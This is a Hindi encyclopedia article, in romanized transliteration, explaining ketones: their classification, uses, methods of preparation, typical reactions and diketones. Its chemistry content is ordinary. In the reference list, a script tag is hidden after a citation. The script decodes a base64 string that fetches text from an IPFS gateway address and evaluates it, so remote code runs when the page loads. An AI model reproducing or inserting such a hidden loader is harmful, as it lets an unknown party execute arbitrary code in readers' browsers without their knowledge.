कीटोन
kiton ve karbanik yaugik haian, jinamean karbanik samooh hota hai aur jinaka samany sootr R-CO-R hota hai. yadi R tatha R ek hi moolak ho to kiton ko 'saral kiton' aur yadi R tatha R vibhinnamoolak hoan to use 'mishrit kiton' kahate haian. ve kiton jinamean do karbanil samooh hote haian 'dvi-kiton' kahalate haian. kuchh chakriy kiton, jinamean, karban ki sankhya adhik hoti haian, jaise- siveton ya masakon, sugandhit padarth banane ke kam ate haian.
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prayog
saral kiton ka sabase sadharan udaharan aisiton hai, jo karbait namak visphotak padarth banane mean vilayak ke roop mean prayukt hota hai. mishrit kiton ka sadharan udaharan aisitophinon hai, jo hipanon ke nam se niand lane vali dava ke roop mean prayukt hota hai.[1]
banane ki vidhiyaan
- dvitiyak ailakohaloan ke aksikaran se
- ooshma ya utprerakoan ki sahayata se dvitiyak ailakohaloan ke vihaidrojanikaran se
- karbanik amloan ke kailsiyam lavanoan ke shushk asavan karane se. isake lie thoria, jirakonia ya maianganas aksaid ka 400-450 se. upayog hota hai
- aisitilin yaugikoan ko tan salphayurik aml tatha marakyoorik salphet ki upasthiti mean jalayojit karane se - R-C=CH-RCOCH3
- naitrail, estar ya aml kloraid par grinayard abhikarmak ki kriya se
- karbanik yaugikoan mean upasthit -CH2- moolak ka -CO- mean siliniyam daiaauksaid ya kromik aml dvara aksikaran karane se
- phridel kraft ki abhikriya se
- aml kloraidoan ke rojenamuand vidhi dvara avakaran se
- shrriankhala ke bich ek hi karban mean sansukt do hailojan paramanu vale yaugikoan ke jal vishleshan se
samany abhikriyaean
karbanil samooh kitonoan ke atirikt aildihaidoan mean bhi hota hai. aantar keval itana hai ki aildihaidoan mean R ke sthan par haidrojan hota hai. isilie in do vargoan ke yaugik apas mean paryapt samanata pradarshit karate haian. sodiyam tatha elkohal dvara avakaran karane par karbanil >CO, samooh dvitiyak ailakohal >CHOH, mean badal jata hai. kiton ke kaithod avakaran se prapt padarth pinekol kahalate haian. jiank ya ailyoominiyam sanras[2] tatha haidroklorik aml karbanik samooh ka - CH2- mean avakaran kar dete haian. ailyoominiyam ailkasaid, lithiyam ya ailyoominiyam haidraid ya sodiyam borohaidraid jaise kuchh ne apachayak karbanil samooh ka to >CHOH mean avakaran kar dete haian, parantu yaugik mean upasthit any avakrit ho sakane vale samoohoan par inaka kuchh prabhav nahian hota. kitonoan ka aauksikaran karane se amloan ke mishran prapt hote haian, par pratyek aml mean karban paramanuoan ki sankhya kiton kam hoti hai. sodiyam baisalphait ya haidrojan sayanaid ke sath ye yogashil yaugik banate haian. phenil haidrazin (ya isake vyutpann), haidraksil aimin, semikarbazaid adi padarthoan ke sath abhikriya karake kiton haidrojon, aksim ya semikarbazon banate haian.[1]
samooh
ve kiton, jinamean do karbanil samooh hote haian, dvi-kiton kahalate haian. yadi ye pas pas hue, jaise- dviaisitil CH3 COCO CH3 mean, to inako ailpha dvikiton kahate haian. yadi inake bich mean ek karban hua, jaise- aisitil aisiton CH3 CO CH2 CO CH3 mean to inako bita-dvi-kiton kahate haian aur yadi bich mean do karban hue, jaise- aisitonil aisiton CH3 CO CH2 CH2 CO CH3 mean to inako gama-dvi-kiton kahate haian. bita-dvi-kiton tatha bita-kitonik-estar, jaise- aisitoai-sitik estar, anek prakar ke karbanik yaugikoan ke sanshleshan mean vishesh mahatv rakhate haian.
kuchh chakriy kiton, jinamean karban ki sankhya adhik hoti haian, jaise- siveton ya masakon, sugandhit padarth banane ke kam ate haian. masakon mean mushk ki gandh hoti hai. vanaspati varg se prapt kuchh kiton vishesh mahatv rakhate haian. aise kuchh kiton paeethrom[3] se tatha deris iliptika[4] se prapt hote haian aur inaka upayog kitanu nashak padarthoan ke roop mean kiya jata hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 kiton (hindi) bharatakhoj. abhigaman tithi: 15 joon, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ Amalgam
- ↑ Pyrethrum
- ↑ Derris elliptica
sanbandhit lekh
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varnamala kramanusar lekh khoj
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